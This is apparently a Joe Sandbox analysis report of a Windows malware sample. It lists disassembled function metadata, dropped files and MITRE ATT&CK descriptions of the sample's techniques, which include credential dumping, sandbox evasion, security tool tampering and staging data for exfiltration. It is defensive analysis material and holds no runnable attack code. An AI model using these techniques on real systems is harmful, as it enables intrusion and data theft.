Instruction ID: cd3fad34d3de998e3b15bac42dac4d01c139fa50fe85e63748e73b60fc4c8c67
Opcode Fuzzy Hash: a7106781bdf1546bde54527bf858c9e03adeffff05cd77f62067aea497a9d42c
Instruction Fuzzy Hash: 72511762B287C546EB258F39DC4136E7A91EB82B92F08D231C69CC7BD6CE6CE4449701

Function 00007FF629B53B0C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF629B53B36
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF629B4B066), ref: 00007FF629B53B57

Strings

C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe, xrefs: 00007FF629B53B45

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\_MEI73802\rar.exe
API String ID: 3307058713-2623522826
Opcode ID: c5c98bd9bcb7567b946254e1cd77aa550a51c4497f1b66c7ef7d78e94eebfc81
Instruction ID: a59c86e92d68c902ed49b2e341f2d5ae71cc18d6d8baa46826d321b962dda02e
Opcode Fuzzy Hash: c5c98bd9bcb7567b946254e1cd77aa550a51c4497f1b66c7ef7d78e94eebfc81
Instruction Fuzzy Hash: C7419E32A08B5AC5EF14EF25DC800BE77A5EB86BC5B548035E90E83B55DF3DE481A302

Function 00007FF629B37C38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,?,00007FF629B37471), ref: 00007FF629B37C96
wcsstr.LIBVCRUNTIME ref: 00007FF629B37CBC

Strings

System Volume Information\, xrefs: 00007FF629B37CB2

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: AttributesFilewcsstr
String ID: System Volume Information\
API String ID: 1592324571-4227249723
Opcode ID: 4db18abc006475e63bde04fe0f8edb9794334f288998beee5a1eb1867efadb0f
Instruction ID: e9c022cc92f4bf02e869f5be14d38bda153ab7c135b9c8885eb43c400e7fda72
Opcode Fuzzy Hash: 4db18abc006475e63bde04fe0f8edb9794334f288998beee5a1eb1867efadb0f
Instruction Fuzzy Hash: 2631C022A1968646EF54DF31A9906FF6760AF87BC1F444030EE4D87B96DE3CE441A706

Function 00007FF629B33C20 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

snprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF629B33CB0

Strings

$%s, xrefs: 00007FF629B33C9D
@%s, xrefs: 00007FF629B33C94

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: snprintf
String ID: $%s$@%s
API String ID: 4288800496-834177443
Opcode ID: 7a7053d11aa3be1251aeb62ffc93e7b2ac424df20b613d8193438d5ab2157725
Instruction ID: 3d58edf04852cd0a4a2b16de7b2d24127981d59dce8c0c33f80c0dcaf446123e
Opcode Fuzzy Hash: 7a7053d11aa3be1251aeb62ffc93e7b2ac424df20b613d8193438d5ab2157725
Instruction Fuzzy Hash: 7E318D62A19A8A96EE10DF35E8407FF2360EBC6785F800032EE0D97B95DE3CE505E705

Function 00007FF629B349F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF629B34A7B
LoadStringW.USER32 ref: 00007FF629B34A94

Strings

Done, xrefs: 00007FF629B34A16

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: LoadString
String ID: Done
API String ID: 2948472770-499744565
Opcode ID: 029dc5b3afc22f1748ed18b4bb1637acba6cd1f0e3e62fcee6acc39158075de8
Instruction ID: a51661e60a755f451e61379f93ca4ff84bf3e2668f7ed3791718441e8200ece1
Opcode Fuzzy Hash: 029dc5b3afc22f1748ed18b4bb1637acba6cd1f0e3e62fcee6acc39158075de8
Instruction Fuzzy Hash: 66113065B14B4A86EA149F16EC4016EB7A1FBDAFC1F548436CE0DD3324DE3CE5429245

Function 00007FF629AF5DB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF629AF5E1B
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF629AF5E2F

Strings

;%%0%du, xrefs: 00007FF629AF5E0A

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: swprintf
String ID: ;%%0%du
API String ID: 233258989-2249936285
Opcode ID: 5630f68361fdad429f81d227d618e3426730f2a1c59dfa690c7e09baebf2de4d
Instruction ID: 4aef17a3e6639a076220c8043874a79cfdd6b7a88be5d35afd65d33637c1f816
Opcode Fuzzy Hash: 5630f68361fdad429f81d227d618e3426730f2a1c59dfa690c7e09baebf2de4d
Instruction Fuzzy Hash: 3011B222A1868542EF20DF24E8143EE7760FBC9788F595131DF8C8769ADE3CE545DB41

Function 00007FF629B1331C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF629B242CC: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF629B2430F

GetVolumeInformationW.KERNEL32(?,00007FF629B10BED,?,?,00000000,?,?,00007FF629B0F30F,00000000,00007FF629AF6380,?,00007FF629AF2EC8), ref: 00007FF629B1337E

Strings

FAT32, xrefs: 00007FF629B1339D
FAT, xrefs: 00007FF629B13388

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: InformationVolumeswprintf
String ID: FAT$FAT32
API String ID: 989755765-1174603449
Opcode ID: b1ebeb30fd722dd76b352bce1e824f537b2a19fc82dbcf7dfb484d1401dd98df
Instruction ID: 93bafe58f2e5806a3310ec7a640c2b303cf1212fb5ef24e14ca56bcfdeb7e341
Opcode Fuzzy Hash: b1ebeb30fd722dd76b352bce1e824f537b2a19fc82dbcf7dfb484d1401dd98df
Instruction Fuzzy Hash: 66116D21A18A8A41FF609F10EC952AF6390FBC7345F801031EA4DC6A99EF3CE504EB05

Function 00007FF629B3B974 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 00007FF629B3B97B
GetLastError.KERNEL32 ref: 00007FF629B3B986

Part of subcall function 00007FF629B0CA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF629B0CEDE

Strings

WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00007FF629B3B990

Memory Dump Source

Source File: 00000041.00000002.1896814461.00007FF629AF1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF629AF0000, based on PE: true

Associated: 00000041.00000002.1896778651.00007FF629AF0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896878697.00007FF629B60000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896919426.00007FF629B78000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896954871.00007FF629B79000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B7A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B84000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B8E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1896984586.00007FF629B96000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897135394.00007FF629B98000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000041.00000002.1897165717.00007FF629B9E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff629af0000_rar.jbxd

Similarity

API ID: ErrorExceptionLastObjectSingleThrowWait
String ID: WaitForMultipleObjects error %d, GetLastError %d
API String ID: 564652978-2248577382
Opcode ID: 46226563a9827009269dbdda457766bca55c7f33c1314a041e0b52dd23cb2e00
Instruction ID: 728c99a8e9d32dbeb62b89dcf658ef84697ab3e1d21996f9e42083ffc720189c
Opcode Fuzzy Hash: 46226563a9827009269dbdda457766bca55c7f33c1314a041e0b52dd23cb2e00
Instruction Fuzzy Hash: 49E07D21E1480A82EE04AB25AC8517E3251AFD7776F905331D43DC11E59F6C6546E312

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report e45AiBoV6X.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\ ? ?? \Display (1).png

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

C:\Users\user\AppData\Local\Temp\RESA594.tmp

C:\Users\user\AppData\Local\Temp\ZEPXL.zip

C:\Users\user\AppData\Local\Temp\_MEI73802\VCRUNTIME140.dll

C:\Users\user\AppData\Local\Temp\_MEI73802\_bz2.pyd

C:\Users\user\AppData\Local\Temp\_MEI73802\_ctypes.pyd

C:\Users\user\AppData\Local\Temp\_MEI73802\_decimal.pyd

C:\Users\user\AppData\Local\Temp\_MEI73802\_hashlib.pyd

Windows Analysis Report
e45AiBoV6X.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Tactics:	Impact
